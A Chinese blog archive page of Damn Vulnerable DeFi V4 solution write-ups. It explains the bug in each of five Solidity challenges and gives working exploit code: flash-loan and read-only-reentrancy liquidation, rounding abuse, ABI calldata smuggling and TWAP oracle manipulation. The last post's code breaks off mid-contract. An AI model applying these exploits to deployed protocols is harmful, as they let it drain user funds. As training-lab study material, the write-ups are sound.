首页
Search
1
yamux: how to work?
79 阅读
2
The Art of Memory Allocation: Malloc, Slab, C++ STL, and GoLang Memory Allocation
70 阅读
3
How to receive a network packet in Linux
63 阅读
4
Maps and Memory Leaks in Go
54 阅读
5
C++ redis connection pool
52 阅读
测试
Wireguard
K8s
Redis
C++
Golang
Libcurl
Tailscale
Nginx
Linux
web3
Uniswap V2
Uniswap V3
EVM
security
solidity
openzeppelin
登录
Search
标签搜索
web3
solidity
web3 security
c++
uniswapV3
redis
evm
uniswap
性能测试
k8s
wireguard
CNI
http
tailscale
nginx
linux
设计模式
Jericho
累计撰写
51
篇文章
累计收到
13
条评论
首页
栏目
测试
Wireguard
K8s
Redis
C++
Golang
Libcurl
Tailscale
Nginx
Linux
web3
Uniswap V2
Uniswap V3
EVM
security
solidity
openzeppelin
页面
搜索到
31
篇与
的结果
2025-09-10
Damn-vulnerable-defi-V4-solution(Withdrawal)
一、Withdrawal背景:我们有四个日志事件,分别对应以下内容:event MessageStored( bytes32 id, uint256 indexed nonce, address indexed caller, address indexed target, uint256 timestamp, bytes data );其中第一个日志的topics内容如下[ { "topics": [ "0x43738d035e226f1ab25d294703b51025bde812317da73f87d849abbdbb6526f5", "0x0000000000000000000000000000000000000000000000000000000000000000", "0x00000000000000000000000087EAD3e78Ef9E26de92083b75a3b037aC2883E16", "0x000000000000000000000000fF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5" ], "data": "0xeaebef7f15fdaa66ecd4533eefea23a183ced29967ea67bc4219b0f1f8b0d3ba0000000000000000000000000000000000000000000000000000000066729b630000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000010401210a380000000000000000000000000000000000000000000000000000000000000000000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac60000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e51000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac60000000000000000000000000000000000000000000000008ac7230489e800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" }, ... ]topics中的四行对应于事件签名和三个索引参数:nonce、caller和target。// topic of first Log (same for all Logs except for nonce) nonce: 0 caller: 0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16 // l2Handler target: 0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5 // l1Forwarder第一个日志的data部分如下// data from first Log eaebef7f15fdaa66ecd4533eefea23a183ced29967ea67bc4219b0f1f8b0d3ba // id 0000000000000000000000000000000000000000000000000000000066729b63 // timestamp 0000000000000000000000000000000000000000000000000000000000000060 // offset 0000000000000000000000000000000000000000000000000000000000000104 // length 01210a38 // L1Forwarder.forwardMessage(uint256 nonce, // address l2Sender, address target,bytes memory message) 0000000000000000000000000000000000000000000000000000000000000000 // nonce 000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac6 // l2Sender 0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd50 // target (l1TokenBridge) 0000000000000000000000000000000000000000000000000000000000000080 // offset 0000000000000000000000000000000000000000000000000000000000000044 // length 81191e51 // TokenBridge.executeTokenWithdrawal(address receiver, uint256 amount) 000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac6 // receiver 0000000000000000000000000000000000000000000000008ac7230489e80000 // amount 10e18 0000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000"检查其他三条日志的数据。事实证明,所有日志都对应于以下执行:最后,TokenBridge.executeTokenWithdrawal调用的金额为 10e18。然而,对于第三个 Log,金额要大得多——9.99e23。初始交易TokenBridge量为 1e24 DVT。我们的目标是完成所有四笔交易,同时保留至少 99% 的 DVT。这似乎不可能,因为第三次提款金额为 9.99e23 DVT。然而,我们只需要完成提款;也就是说,我们实际上不需要担心调用是否成功。即使调用失败,由于我们使用了call,也不会导致 revert,代码将继续执行。revert 的传播机制EVM 提供了两种“失败方式”:正常结束(STOP 或 RETURN) → 上层 CALL 的 success = 1。异常结束(REVERT 或 INVALID / out-of-gas) → 上层 CALL 的 success = 0。当 inner call 返回 success=0 时:如果你是直接写 CALL(即 Solidity 里的低级 address.call(...)),那么结果就只是一个布尔值,除非你自己处理,否则不会影响当前执行。如果你写的是“普通调用”(otherContract.foo()),Solidity 编译器在外层会自动检查 success,如果是 0,它会立刻发起一个 REVERT,把 returndata 原封不动返回给上层调用者。// L1GateWay.sol function finalizeWithdrawal( uint256 nonce, address l2Sender, address target, uint256 timestamp, bytes memory message, bytes32[] memory proof ) external { if (timestamp + DELAY > block.timestamp) revert EarlyWithdrawal(); bytes32 leaf = keccak256(abi.encode(nonce, l2Sender, target, timestamp, message)); // Only allow trusted operators to finalize without proof bool isOperator = hasAnyRole(msg.sender, OPERATOR_ROLE); if (!isOperator) { if (MerkleProof.verify(proof, root, leaf)) { emit ValidProof(proof, root, leaf); } else { revert InvalidProof(); } } if (finalizedWithdrawals[leaf]) revert AlreadyFinalized(leaf); // state changes before external call finalizedWithdrawals[leaf] = true; counter++; xSender = l2Sender; bool success; assembly { success := call(gas(), target, 0, add(message, 0x20), mload(message), 0, 0) // call with 0 value. Don't copy returndata. } xSender = address(0xBADBEEF); emit FinalizedWithdrawal(leaf, success, isOperator); }因此,我们的想法是先完成第一笔、第二笔和第四笔提现,然后再进行一次额外的提现,这样我们的余额就能保持在 1e24 DVT 的 99% 以上,但低于 99.9%。这样,我们就可以尝试执行第三次提现——即使我们没有足够的余额来完成它,第三次提现仍然会被完成。这是我们的解决方案:我们执行三次最终提款(第一次、第二次和第四次)。l1Gateway.finalizeWithdrawal(nonce, l2Hander, l1Forwarder, message)在我们的解决方案中,我们使用十六进制字符串作为消息,但它实际上意味着什么?例如,第一个日志:message = abi.encodeCall(l1Forwarder.forwardMessage, (nonce, l2Sender, l1Gateway, abi.encodeCall(l1Gateway.executeTokenWithdrawal, (l2Sender, amount))为了最终完成,我们将第一、第二和第四次提款的金额分别设置为 10e18。在实际进行第三次提款之前,我们提取了 10e21(占所有代币的 0.1%)。由于剩余代币不足,因此无法提取 99.9%。之后,我们完成第三次提款,且不损失任何代币。function test_withdrawal() public checkSolvedByPlayer { bytes32[] memory proof = new bytes32[](0); vm.warp(block.timestamp + 7 days + 212); // Finalize first, second, fourth withdrawal l1Gateway.finalizeWithdrawal(0, 0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16, 0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5, 1718786915, hex"01210a380000000000000000000000000000000000000000000000000000000000000000000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac60000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e51000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac60000000000000000000000000000000000000000000000008ac7230489e8000000000000000000000000000000000000000000000000000000000000", proof); l1Gateway.finalizeWithdrawal(1, 0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16, 0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5, 1718786965, hex"01210a3800000000000000000000000000000000000000000000000000000000000000010000000000000000000000001d96f2f6bef1202e4ce1ff6dad0c2cb002861d3e0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e510000000000000000000000001d96f2f6bef1202e4ce1ff6dad0c2cb002861d3e0000000000000000000000000000000000000000000000008ac7230489e8000000000000000000000000000000000000000000000000000000000000", proof); l1Gateway.finalizeWithdrawal(3, 0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16, 0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5, 1718787127, hex"01210a380000000000000000000000000000000000000000000000000000000000000003000000000000000000000000671d2ba5bf3c160a568aae17de26b51390d6bd5b0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e51000000000000000000000000671d2ba5bf3c160a568aae17de26b51390d6bd5b0000000000000000000000000000000000000000000000008ac7230489e8000000000000000000000000000000000000000000000000000000000000", proof); // Finalize an extra withdrawal before third withdrawal l1Gateway.finalizeWithdrawal(2, 0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16, 0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5, 1718787050, hex"01210a380000000000000000000000000000000000000000000000000000000000000002000000000000000000000000ea475d60c118d7058bef4bdd9c32ba51139a74e00000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e51000000000000000000000000ea475d60c118d7058bef4bdd9c32ba51139a74e000000000000000000000000000000000000000000000003635c9adc5dea0000000000000000000000000000000000000000000000000000000000000", proof); // There are not enough tokens for withdrawal, so no tokens are withdrawn l1Gateway.finalizeWithdrawal(2, 0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16, 0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5, 1718787050, hex"01210a380000000000000000000000000000000000000000000000000000000000000002000000000000000000000000ea475d60c118d7058bef4bdd9c32ba51139a74e00000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e51000000000000000000000000ea475d60c118d7058bef4bdd9c32ba51139a74e000000000000000000000000000000000000000000000d38be6051f27c260000000000000000000000000000000000000000000000000000000000000", proof); }
2025年09月10日
11 阅读
0 评论
1 点赞
2025-09-09
Damn-vulnerable-defi-V4-solution(Curvy Puppet)
一、Curvy Puppet背景:我们有一个 Curve 池,用于实现 ETH 和 stETH 之间的稳定兑换。此外,我们还有一个借贷池,允许用户通过抵押 DVT 代币从 Curve 池中借入 LP 代币。在此设置中,DVT 代币价值 10,而 ETH 价值 4000。LP 代币具有虚拟价格,定义为总流动性(记为D)除以 LP 代币的总供应量。初始虚拟价格约为 1.09 ETH。三位用户分别存入2500 DVT(总价值 25,000)作为抵押品,借入1 个 LP 代币(价值约 4,360)。只要抵押品价值高于借入价值的 1.75 倍,则抵押品被视为安全。否则,任何人都可以调用该liquidate()函数,通过偿还借入的 LP 代币数量来扣押抵押品。我们可以观察到,池子里有 35 万个 ETH 和 stETH,其中约有 70 万个 LP 代币被铸造。我们初始投入的是 200 个 WETH 和 6.5 个 LP 代币。Curve 池的 AMM 公式如下$$ K × D × (x+y) + x × y =K × D² + (D / 2)² $$$$ K = A × x × y / (D / 2)² $$其中,A为放大参数,D表示总流动性。不难看出,这个方程介于两种行为之间:在平衡点 x ≈ y ≈ D / 2 附近,该公式的行为类似于线性不变量:x + y = D。当一个代币变得稀缺时(例如 x → 0),它的行为更像一个常数乘积不变量:x × y = (D / 2)²。Curve stable swap使用牛顿法,通过给定另一个数值来求解 x 或 y。注意:与 Uniswap V2 或 V3 不同,Curve 的稳定币兑换不能用于闪电贷。您必须先存入一个代币,然后才能兑换另一个代币——Curve 没有原生机制可以通过回调在单笔交易中借入和返还代币。挑战在于操纵预言机价格,使借入价值的 1.75 倍超过抵押品价值,从而实现清算。DVT 价格(以 ETH 为单位)由部署者固定为每 ETH 10 DVT(ETH 价格为 4000),且不可更改。然而,LP 代币价格取决于虚拟价格乘以 ETH 价格,其中虚拟价格计算公式为:D / LP 代币总量如果我们能够获得足够多的 LP 代币,我们可以尝试以下策略:在这种情况下,我们能够操纵并提高预言机观察到的价格。这就是所谓的只读重入漏洞的一个实例。那么,我们需要多少 LP 代币才能发起这次攻击呢?我们只持有 6.5 个 LP 代币,而 LP 代币总数为 69,000 个,因此仅用我们自己的代币移除流动性几乎不会对虚拟价格产生任何影响。攻击思路准备闪电贷资金从 AAVE 借入大额的 stETH + WETH。再从 Balancer 借入额外的 WETH,叠加资金规模。操纵 Curve 池子价格把 WETH 换成 ETH,和 stETH 一起加到 Curve 池子里,制造流动性失衡。这样能显著改变 get_virtual_price()。移除流动性,触发回调大规模移除流动性,导致协议认为抵押品贬值。在 Curve 返还 ETH 的过程中,会触发合约的 receive()。在回调中执行清算调用 CurvyPuppetLending.liquidate(),一次性清算 Alice / Bob / Charlie 三个用户。因为此时价格被操纵,清算逻辑错误 → 攻击者获利。归还闪电贷 & 提取利润把借来的资金归还给 AAVE 和 Balancer。最后把 WETH + 1 个 LP token + 7500 DVT 转回 Treasury,完成关卡要求。function test_curvyPuppet() public checkSolvedByPlayer { IERC20 curveLpToken = IERC20(curvePool.lp_token()); Exploit exploit = new Exploit( curvePool, lending, curveLpToken, address(player), TREASURY_LP_BALANCE, stETH, weth, address(treasury), dvt ); // Transfer LP tokens and WETH to the exploit contract curveLpToken.transferFrom(address(treasury), address(exploit), TREASURY_LP_BALANCE); weth.transferFrom(address(treasury), address(exploit), TREASURY_WETH_BALANCE); exploit.executeExploit(); }contract Exploit { IStableSwap public curvePool; CurvyPuppetLending public lending; IERC20 public curveLpToken; address public player; uint256 public treasuryLpBalance; IERC20 stETH; WETH weth; address treasury; DamnValuableToken dvt; IPermit2 constant permit2 = IPermit2(0x000000000022D473030F116dDEE9F6B43aC78BA3); IAaveFlashloan AaveV2 = IAaveFlashloan(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8); constructor( IStableSwap _curvePool, CurvyPuppetLending _lending, IERC20 _curveLpToken, address _player, uint256 _treasuryLpBalance, IERC20 _stETH, WETH _weth, address _treasury, DamnValuableToken _dvt ) { curvePool = _curvePool; lending = _lending; curveLpToken = _curveLpToken; player = _player; treasuryLpBalance = _treasuryLpBalance; stETH = _stETH; weth = _weth; treasury = _treasury; dvt = _dvt; } function manipulateCurvePool() public { // Step 1: Add liquidity to the Curve pool weth.withdraw(58685 ether); console.log("LP token price before removing liquidity:", curvePool.get_virtual_price()); // To call the exchange function of the Curve Pool to swap ETH for stETH. stETH.approve(address(curvePool), type(uint256).max); uint256[2] memory amount; amount[0] = 58685 ether; amount[1] = stETH.balanceOf(address(this)); console.log("my weth balance", weth.balanceOf(address(this))); console.log("my eth balance", address(this).balance); curvePool.add_liquidity{value: 58685 ether}(amount, 0); uint256 virtualPrice = curvePool.get_virtual_price(); console.log("LP token price after add liquidity:", virtualPrice); } function removeLiquidity() public { // Step 2: Remove liquidity from the Curve pool uint256[2] memory min_amounts = [uint256(0), uint256(0)]; uint256 lpBalance = curveLpToken.balanceOf(address(this)); curvePool.remove_liquidity(lpBalance - 3000000000000000001, min_amounts); // Removing liquidity console.log("LP token price after2 removing liquidity:", curvePool.get_virtual_price()); } function executeExploit() public { // Allow lending contract to pull collateral IERC20(curvePool.lp_token()).approve(address(permit2), type(uint256).max); permit2.approve({ token: curvePool.lp_token(), spender: address(lending), amount: 5e18, expiration: uint48(block.timestamp) }); stETH.approve(address(AaveV2), type(uint256).max); weth.approve(address(AaveV2), type(uint256).max); address[] memory assets = new address[](2); assets[0] = address(stETH); assets[1] = address(weth); uint256[] memory amounts = new uint256[](2); amounts[0] = 172000 * 1e18; amounts[1] = 20500 * 1e18; uint256[] memory modes = new uint256[](2); modes[0] = 0; modes[1] = 0; AaveV2.flashLoan(address(this), assets, amounts, modes, address(this), bytes(""), 0); weth.transfer(treasury, weth.balanceOf(address(this))); curveLpToken.transfer(treasury, 1); dvt.transfer(treasury, 7500e18); } function executeOperation( address[] memory assets, uint256[] memory amounts, uint256[] memory premiums, address initiator, bytes memory params ) external returns (bool) { console.log("AAVE flashloan stETH balance:", stETH.balanceOf(address(this))); console.log(" wETH balancer:", weth.balanceOf(address(Balancer))); address[] memory tokens = new address[](1); tokens[0] = address(weth); uint256[] memory amounts1 = new uint256[](1); amounts1[0] = 37991 ether; bytes memory userData = ""; Balancer.flashLoan(address(this), tokens, amounts1, userData); return true; } function receiveFlashLoan( address[] memory tokens, uint256[] memory amounts, uint256[] memory feeAmounts, bytes memory userData ) external { manipulateCurvePool(); removeLiquidity(); weth.deposit{value: 37991 ether}(); weth.transfer(address(Balancer), 37991 ether); uint256 ethAmount = 12963923469069977697655; uint256 min_dy = 1; curvePool.exchange{value: ethAmount}(0, 1, ethAmount, min_dy); weth.deposit{value: 20518 ether}(); console.log(" stETH balance2:", stETH.balanceOf(address(this))); console.log(" wETH balance2:", weth.balanceOf(address(this))); console.log(" ETH balance2:", (address(this).balance)); console.log(" my LP balance2:", curveLpToken.balanceOf(address(this))); } // Receive function to handle ETH receive() external payable { if (msg.sender == address(curvePool)) { console.log("LP token price during removing liquidity:", curvePool.get_virtual_price()); address[3] memory users = [ 0x328809Bc894f92807417D2dAD6b7C998c1aFdac6, // Alice 0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e, // Bob 0xea475d60c118d7058beF4bDd9c32bA51139a74e0 // Charlie ]; console.log("msg.sender", address(this)); for (uint256 i = 0; i < users.length; i++) { lending.liquidate(users[i]); console.log("Liquidated user:", users[i]); } } } } interface IAaveFlashloan { function flashLoan( address receiverAddress, address[] calldata assets, uint256[] calldata amounts, uint256[] calldata modes, address onBehalfOf, bytes calldata params, uint16 referralCode ) external; } interface IBalancerVault { function flashLoan(address recipient, address[] memory tokens, uint256[] memory amounts, bytes memory userData) external; }
2025年09月09日
2 阅读
0 评论
1 点赞
2025-09-09
Damn-vulnerable-defi-V4-solution(Shards)
一、Shards背景:我们有一个销售 NFT 的市场。每个 NFT 的价格为 1,000,000e6 USDC,USDC 兑换 DVT 的汇率为 75e15。该市场允许购买 NFT 的一部分,类似于购买股票。总共有 10,000,000e18 股。问题在于 中的以下函数ShardsNFTMarketplace.sol。ShardsFeeVault市场还允许用户质押 DVT 来赚取利息,但这可能与此无关。function fill(uint64 offerId, uint256 want) external returns (uint256 purchaseIndex) { Offer storage offer = offers[offerId]; if (want == 0) revert BadAmount(); if (offer.price == 0) revert UnknownOffer(); if (want > offer.stock) revert OutOfStock(); if (!offer.isOpen) revert NotOpened(offerId); offer.stock -= want; purchaseIndex = purchases[offerId].length; uint256 _currentRate = rate; purchases[offerId].push( Purchase({ shards: want, rate: _currentRate, buyer: msg.sender, timestamp: uint64(block.timestamp), cancelled: false }) ); paymentToken.transferFrom( msg.sender, address(this), want.mulDivDown(_toDVT(offer.price, _currentRate), offer.totalShards) ); if (offer.stock == 0) _closeOffer(offerId); } /** * @notice To cancel open offers once the waiting period is over. */ function cancel(uint64 offerId, uint256 purchaseIndex) external { Offer storage offer = offers[offerId]; Purchase storage purchase = purchases[offerId][purchaseIndex]; address buyer = purchase.buyer; if (msg.sender != buyer) revert NotAllowed(); if (!offer.isOpen) revert NotOpened(offerId); if (purchase.cancelled) revert AlreadyCancelled(); if ( purchase.timestamp + CANCEL_PERIOD_LENGTH < block.timestamp || block.timestamp > purchase.timestamp + TIME_BEFORE_CANCEL ) revert BadTime(); offer.stock += purchase.shards; assert(offer.stock <= offer.totalShards); // invariant purchase.cancelled = true; emit Cancelled(offerId, purchaseIndex); paymentToken.transfer(buyer, purchase.shards.mulDivUp(purchase.rate, 1e6)); } /** * @notice Allows an oracle account to set a new rate of DVT per USDC */ function setRate(uint256 newRate) external { if (msg.sender != oracle) revert NotAllowed(); if (newRate == 0 || rate == newRate) revert BadRate(); rate = newRate; }该fill功能允许我们提交所需数量的股票并使用 DVT 支付:数量 = 需求 / 总碎片数 × 价格 × 费率= want / 10_000_000e18 × 75e15 × 1_000_000 = want × 75 / 1_0_000攻击角度是这里的除法是向下取整的(即使用了floor函数),而Solidity只有整数,所以只要want ≤ 133,支付就是零,即我们可以提交一个fill offer获得133个免费share。让我们看一下这个cancel函数,因为有一个关键缺陷,取消函数会取消我们提交的订单。如果我们取消订单,我们将从这个函数中得到want× 75e15 / 1e6。这里的问题是 1e6 与 1e24 不匹配,也就是总份额。也就是说,这个函数的设计存在错误cancel。因此,通过取消分片为 133 的订单,我们可以得到133 × 75e15 / 1e6 = 9975000000000 DVT 代币。要通过挑战,我们需要获得超过 75e15 个 DVT 代币(相当于市场初始代币数量的 1/10000)。因此,我们至少需要 75e15 / 9975000000000 = 7519 次才能达到目标。function test_shards() public checkSolvedByPlayer { new Attacker(marketplace, token, recovery); }contract Attacker { constructor(ShardsNFTMarketplace marketPlace, DamnValuableToken token, address recovery) { for (uint256 i = 0; i < 7519; i++) { marketPlace.fill(1, 133); marketPlace.cancel(1, i); } token.transfer(recovery, token.balanceOf(address(this))); } }
2025年09月09日
4 阅读
0 评论
1 点赞
2025-09-08
Damn-vulnerable-defi-V4-solution(ABI Smuggling)
一、ABI Smuggling背景:我们拥有一个授权金库,其中包含 1,000,000e18 代币。该金库允许玩家每 15 天最多提取 1e18 代币。金库还允许特定用户清扫资金。但是,此权限由AuthorizedExecutor.sol 中的以下函数强制执行,该函数由授权保险库继承;也就是说,withdraw或sweepFunds只能由合约本身调用。因此,我们可以做的是调用该execute函数来调用保险库。function execute(address target, bytes calldata actionData) external nonReentrant returns (bytes memory) { // Read the 4-bytes selector at the beginning of `actionData` bytes4 selector; uint256 calldataOffset = 4 + 32 * 3; // calldata position where `actionData` begins assembly { selector := calldataload(calldataOffset) } if (!permissions[getActionId(selector, msg.sender, target)]) { revert NotAllowed(); } _beforeFunctionCall(target, actionData); return target.functionCall(actionData); }根据要求,上述函数中的权限仅允许以下任一操作:(selector, msg.sender, target) = (withdraw, player, vault)(selector, msg.sender, target) = (sweepFunds, sweeper, vault)由于我们是 player,因此我们应该满足条件 1,但实际上要使条件 2 起作用,因为使用选项 1,我们每 15 天只能提取 1e18 个代币,然而总共有 1,000,000e18 个代币。请注意,该execute函数通过读取 calldata 从第 100 个字节开始的 4 个字节来函数选择器execute。这通常是正确的,因为的 calldata结构如下:execute.selector (4 bytes) + target (32 bytes) + offset (32 bytes, 0x40) + length (32 bytes) + selector如果我们直接调用execute,偏移量(字节数据开始的位置;字节数据由bytes.length后跟组成bytes.data)为0x40,并且上面描述的结构成立。然而,这并非必需,因为我们可以execute使用汇编语言调用,并强制将偏移量设置为,例如,0x80并将从位置 100(该位置本应是选择器,但现在由于新的偏移量而未使用)开始的调用数据设置为withdraw.selector,而实际被调用的函数是sweepFunds。更详细地说,我们构造的调用数据是:// execute selector 0x1cff79cd // vault.address 0000000000000000000000001240fa2a84dd9157a0e76b5cfe98b1d52268b264 // offset ->偏移量指向 actionData起始位置。0x80 是 128 字節 (第二個 32 字節) 0000000000000000000000000000000000000000000000000000000000000080 // 這個部分沒有實際用途,通常用來填充固定長度的位置 (第三個 32 字節) 0000000000000000000000000000000000000000000000000000000000000000 // withdraw() 繞過檢查 (第四個 32 字節) **d9caed12**00000000000000000000000000000000000000000000000000000000 // 這表示 actionData 的總長度是 68 字節(0x44 為十六進制的 68) actionData ( 4 + 32 + 32) 0000000000000000000000000000000000000000000000000000000000000044 // sweepFunds calldata 85fb709d00000000000000000000000073030b99950fb19c6a813465e58a0bca5487fbea0000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9bfunction test_abiSmuggling() public checkSolvedByPlayer { address vaultAddr = address(vault); address tokenAddr = address(token); address recoveryAddr = recovery; assembly { let p := mload(0x40) // 指向可用内存首地址 mstore(p, shl(224, 0x1cff79cd)) // 由于mstore是按照 32字节为单位写入需要左移 224 位将 excute 函数的哈希前 // 四字节存储在32 字节中的高 4 字节中 mstore(add(p, 0x04), vaultAddr) // 紧接着将vaultAddr存储到excute后面32 字节的低 20 字节 mstore(add(p, 0x24), 0x80) // 0x24位置存储 actionData的calldata起始位置的offset 0x80(128)字节 // calldata起始位置即0xa4 mstore(add(p, 0x44), 0x00) // 通常用来填充固定长度的位置 此处无用 mstore(add(p, 0x64), shl(224, 0xd9caed12)) // 为了绕过excute检查填充 withdraw mstore(add(p, 0x84), 0x44) // 表示 actiondata 的长度是 68 字节 mstore(add(p, 0xa4), shl(224, 0x85fb709d)) // 此处是真正我们植入的攻击函数 sweepfunds mstore(add(p, 0xa8), recoveryAddr) // seepfunds 的参数 1 receiver mstore(add(p, 0xc8), tokenAddr) // seepfunds 的参数 2 token let success:= call(gas(), vaultAddr, 0, p, 232, 0, 0) if iszero(success) { mstore(0x00, shl(224, 0x6c9d47e8)) // CallError() 把这32字节存到内存地址 0x00,作为revert的返回值 revert(0, 4) // 从内存地址 0x00 开始读只返回前 4 字节 } } }
2025年09月08日
5 阅读
0 评论
1 点赞
2025-09-07
Damn-vulnerable-defi-V4-solution(Puppet V3)
一、Puppet V3背景:Uniswap V3 池初始拥有 100e18 WETH 和 DVT。作为玩家,我们拥有 25e18 ETH 和 110e18 DVT。我们的目标是拿走借贷池中所有 10_000e18 DVT 代币,这需要抵押品 WETH 价值的 3 倍。Uniswap V3 对 AMM 使用的公式与经典不同x * y = k,因为它旨在使用相同数量的代币提供更集中的流动性。在 Uniswap V2 中,x或y永远不可能为零。更具体地说,Uniswap V3 引入了集中流动性和新的定价公式。在增加流动性时,提供者还会指定一个价格范围。这使得系统能够通过将价格锚定在指定范围的边界上,而不是让其向零或无穷大延伸,从而在两种代币之间维持合理的价格——即使一种代币完全从池中移除。攻击逻辑:与 Puppet V2 类似,我们将所有 DVT 代币兑换成 WETH,以操纵价格预言机,使其认为 WETH 具有高价值。然后,我们使用少量 WETH 作为抵押,从借贷池中借入所有剩余的 DVT。在 Uniswap V3 池中,slot0记录池的当前状态。tick其中的值slot0跟踪价格,并在每次交换完成后更新。struct Slot0 { // the current price uint160 sqrtPriceX96; // the current tick int24 tick; // the most-recently updated index of the observations array uint16 observationIndex; // the current maximum number of observations that are being stored uint16 observationCardinality; // the next maximum number of observations to store, triggered in observations.write uint16 observationCardinalityNext; // the current protocol fee as a percentage of the swap fee taken on withdrawal // represented as an integer denominator (1/x)% uint8 feeProtocol; // whether the pool is locked bool unlocked; }价格与tick之间的关系如下:最小变动价位范围从MIN_TICK = -887272到MAX_TICK = 887272,对应的价格范围从 1 / 2¹²⁸ 到 2¹²⁸ (此处,token1为 WETH,token0为 DVT)。因此,价格和最小变动价位值越小,WETH 相对于 DVT 的价值就越高。查询lendingPoolUniswap V3 池中的价格。如果你追踪函数调用,它会从consult流向observeSingle。getQuoteAtTick 会将获取到的 tick 转换对应的 priceuint32 public constant TWAP_PERIOD = 10 minutes;getQuoteAtTick 会将获取到的 tick 转换对应的 priceuint32 public constant TWAP_PERIOD = 10 minutes; ... function _getOracleQuote(uint128 amount) private view returns (uint256) { (int24 arithmeticMeanTick,) = OracleLibrary.consult({pool: address(uniswapV3Pool), secondsAgo: TWAP_PERIOD}); return OracleLibrary.getQuoteAtTick({ tick: arithmeticMeanTick, baseAmount: amount, baseToken: address(token), quoteToken: address(weth) }); }function observeSingle( Observation[65535] storage self, uint32 time, uint32 secondsAgo, int24 tick, uint16 index, uint128 liquidity, uint16 cardinality ) internal view returns (int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128) { unchecked { if (secondsAgo == 0) { Observation memory last = self[index]; if (last.blockTimestamp != time) last = transform(last, time, tick, liquidity); return (last.tickCumulative, last.secondsPerLiquidityCumulativeX128); } ... }最后,arithmeticMeanTick(TWAP)是预言机返回的tick。tickCumulative是当前时间的(即secondsAgo = 0)只是最新观察中记录的当前累积刻度值。last.tickCumulative + int56(tick) * int56(uint56(delta)),由函数transform可知function transform( Observation memory last, uint32 blockTimestamp, int24 tick, uint128 liquidity ) private pure returns (Observation memory) { unchecked { uint32 delta = blockTimestamp - last.blockTimestamp; return Observation({ blockTimestamp: blockTimestamp, tickCumulative: last.tickCumulative + int56(tick) * int56(uint56(delta)), secondsPerLiquidityCumulativeX128: last.secondsPerLiquidityCumulativeX128 + ((uint160(delta) << 128) / (liquidity > 0 ? liquidity : 1)), initialized: true }); } }即使last.tickCumulative为 0,我们也可以操纵 tick 为 -887272(这对应于非常高的 ETH 价格)。因此,只要时间增量blockTimestamp — last.blockTimestamp很大,我们最终就会得到非常小的tickCumulative。因此,我们的策略是先进行交换,投入所有 DVT 代币以提取所有 WETH。之后,我们会在挑战规定的 115 秒时间限制内尽可能长时间地等待(例如 100 秒)。为了使当前时间的累计 tick 等于 -887272 × 100,我们将 600 秒前的累计 tick 设为 0,时间差为 600 秒。这样得到的 tick 值为 887272 / 6 = 147045。对应的价格为 1/1.0001¹⁴⁷⁰⁴⁵ =1 / 24309631,这个价格足够低,我们只需少量 WETH 即可兑换所有 DVT 代币。总而言之,我们的解决方案是:我们换出100e18DVT 代币。由于所有 WETH 都已换出,因此 tick 值移动到 -887272。因此,tick 值移动到了最小可能值的左端。等待 100 秒,让价格预言机整合第一次掉期的价格信息。请注意,等待时间越长,预言机受掉期机制操纵价格的影响就越大。(不过,挑战设置了大约 115 秒的总时间限制。)该swap函数要求调用者实现特定的回调函数。这就是为什么我们需要使用合约(Attacker.sol)来执行兑换,而不是使用玩家的账户。function test_puppetV3() public checkSolvedByPlayer { IUniswapV3Pool uniswapPool = IUniswapV3Pool(uniswapFactory.getPool(address(token), address(weth), FEE)); Attacker attacker = new Attacker(uniswapPool, token, lendingPool, weth, player); token.transfer(address(attacker), PLAYER_INITIAL_TOKEN_BALANCE); attacker.attack(-999e17); vm.warp(block.timestamp + 12); attacker.attack(-1e17); vm.warp(block.timestamp + 100); weth.approve(address(lendingPool), weth.balanceOf(player)); lendingPool.borrow(LENDING_POOL_INITIAL_TOKEN_BALANCE); token.transfer(recovery, LENDING_POOL_INITIAL_TOKEN_BALANCE); }contract Attacker { IUniswapV3Pool uniswapPool; DamnValuableToken token; PuppetV3Pool lendingPool; WETH weth; address player; constructor( IUniswapV3Pool _uniswapPool, DamnValuableToken _token, PuppetV3Pool _lendingPool, WETH _weth, address _player ) { 